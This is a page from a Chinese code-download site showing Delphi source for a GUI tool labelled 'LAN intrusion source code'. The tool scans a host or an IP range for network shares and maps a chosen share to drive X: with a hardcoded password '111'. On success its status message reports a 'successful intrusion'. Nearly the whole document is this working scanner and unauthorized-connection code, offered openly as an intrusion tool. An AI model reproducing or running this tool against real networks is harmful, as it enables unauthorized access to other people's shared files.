⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit1.~pas

📁 局域网入侵源代码
💻 ~PAS
字号:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Buttons, ComCtrls, ExtCtrls;

type
 TNetResourceArray = ^TNetResource;//网络类型的数组
  TForm1 = class(TForm)
    Edit1: TEdit;
    BitBtn1: TBitBtn;
    Label1: TLabel;
    Label2: TLabel;
    ScrollBox1: TScrollBox;
    ListBox1: TListBox;
    BitBtn2: TBitBtn;
    BitBtn3: TBitBtn;
    StatusBar1: TStatusBar;
    CheckBox1: TCheckBox;
    Edit2: TEdit;
    Edit3: TEdit;
    Edit4: TEdit;
    Label3: TLabel;
    Label4: TLabel;
    Timer1: TTimer;
    Button1: TButton;
    TrackBar1: TTrackBar;
    Edit5: TEdit;
    Label5: TLabel;
    Label6: TLabel;
    procedure BitBtn1Click(Sender: TObject);
    procedure BitBtn2Click(Sender: TObject);
    procedure BitBtn3Click(Sender: TObject);
    procedure CheckBox1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure TrackBar1Change(Sender: TObject);
  private
    { Private declarations }
  procedure WMGetMinMaxInfo(var Msg: TWMGetMinMaxInfo);//禁止窗口改变大小
	 message WM_GETMINMAXINFO;
  public
        { Public declarations }
  end;

var
  Form1: TForm1;

implementation
procedure TForm1.WMGetMinMaxInfo(var Msg: TWMGetMinMaxInfo);   //enable change form size
begin
  inherited;
  with Msg.MinMaxInfo^ do begin
     ptMinTrackSize.x:= Form1.width;
     ptMaxTrackSize.x:= Form1.width;
     ptMinTrackSize.y:= Form1.height;
     ptMaxTrackSize.y:= Form1.height;
  end;
end;

Function GetUserResource( UserName : string ) : Boolean;
Var
NetResource:TNetResource;
Buf:Pointer;
Count,BufSize,Res:DWord;
Ind : Integer;
lphEnum : THandle;
Temp : TNetResourceArray;
Begin
Result := False;
FillChar(NetResource, SizeOf(NetResource), 0);//初始化网络层次信息
NetResource.lpRemoteName := @UserName[1];//指定计算机名称
//获取指定计算机的网络资源句柄
Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_ANY,
RESOURCEUSAGE_CONNECTABLE, @NetResource,lphEnum);
If Res <> NO_ERROR Then
begin
exit;//执行失败
end;
While True Do//列举指定工作组的网络资源
Begin
Count := $FFFFFFFF;//不限资源数目
BufSize := 8192;//缓冲区大小设置为8K
GetMem(Buf, BufSize);//申请内存,用于获取工作组信息
//获取指定计算机的网络资源名称
Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);
If Res = ERROR_NO_MORE_ITEMS Then break;//资源列举完毕
If (Res <> NO_ERROR) then Exit;//执行失败
Temp := TNetResourceArray(Buf);
For Ind := 0 to Count - 1 do
Begin
//获取指定计算机中的共享资源名称,+2表示删除"\\",
form1.ListBox1.Items.Add(string(Temp^.lpRemoteName +2));
Inc(Temp);
End;
End;
Res := WNetCloseEnum(lphEnum);//关闭一次列举
If Res <> NO_ERROR Then
begin
 exit;//执行失败
 end;
Result := True;
FreeMem(Buf);
End;


{$R *.dfm}

procedure TForm1.BitBtn1Click(Sender: TObject);
begin
listbox1.Clear;
if not checkbox1.Checked then
   begin
   statusbar1.Panels[0].Text:='检测中.....';
   if GetUserResource('\\'+edit1.Text) then listbox1.Items.Add('找到共享资源');
   statusbar1.Panels[0].Text:='检测完毕.....';
   end
   else
   begin
   statusbar1.Panels[0].Text:='稍候.....';
   statusbar1.Update;
   timer1.Enabled:=true;
   end;
end;

procedure TForm1.BitBtn2Click(Sender: TObject);
begin
case Wnetaddconnection(pchar('\\'+listbox1.Items.Strings[listbox1.ItemIndex]),'111','X:') of
0:  statusbar1.Panels[0].Text:='成功入侵,请察看你的资源管理器';
50:  statusbar1.Panels[0].Text:= '函数不被支持';
8:    statusbar1.Panels[0].Text:='系统内存不足 ';
59:   statusbar1.Panels[0].Text:='网络发生错误 ';
487:  statusbar1.Panels[0].Text:='无效指针';
67:   statusbar1.Panels[0].Text:='无效网络名';
1200:statusbar1.Panels[0].Text:='无效本地名';
85:  statusbar1.Panels[0].Text:= '此连接已经建立,清先断开';
86:statusbar1.Panels[0].Text:='无效口令';
5:statusbar1.Panels[0].Text:='访问被拒绝';
else
statusbar1.Panels[0].Text:= '连接错误';
end;
end;

procedure TForm1.BitBtn3Click(Sender: TObject);
begin
case Wnetcancelconnection('X:',False) of
0:statusbar1.Panels[0].Text:='成功断开';
50:statusbar1.Panels[0].Text:='函数不被支持';
8: statusbar1.Panels[0].Text:='系统内存不足';
59:statusbar1.Panels[0].Text:='网络发生错误';
487:statusbar1.Panels[0].Text:='无效指针';
87:statusbar1.Panels[0].Text:='无效网络名';
2250: statusbar1.Panels[0].Text:='无须断开的连接';
2401:statusbar1.Panels[0].Text:='断开的连接有打开的文件';
else
 statusbar1.Panels[0].Text:='连接错误';
end;
end;

procedure TForm1.CheckBox1Click(Sender: TObject);
begin
if checkbox1.Checked then
begin
edit2.Enabled:=true;
edit3.Enabled:=true;
edit4.Enabled:=true;
edit1.Enabled:=false;
end
else
begin
edit2.Enabled:=false;
edit3.Enabled:=false;
edit4.Enabled:=false;
edit1.Enabled:=true;
end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
statusbar1.Panels[0].Text:='正在检测网段.....';
statusbar1.Update;
if GetUserResource('\\'+edit2.Text+'.'+edit3.Text) then
begin
listbox1.Items.Add('找到共享资源');
timer1.Enabled:=false;
end;
if edit3.Text=edit4.Text then
begin
statusbar1.Panels[0].Text:='检测完毕';
statusbar1.Update;
timer1.Enabled:=false;
end;
edit3.Text:=inttostr(strtoint(edit3.Text)+1);
edit3.Update;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if timer1.Enabled then timer1.Enabled:=false;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
timer1.Enabled:=false;
statusbar1.Panels[0].Text:='被用户强制停止';
statusbar1.Update;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 trackbar1.Position:=round(timer1.Interval/1000);
 edit5.Text:=inttostr(trackbar1.Position);
end;

procedure TForm1.TrackBar1Change(Sender: TObject);
begin
timer1.Interval:=trackbar1.Position*1000;
edit5.Text:=inttostr(trackbar1.Position);
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -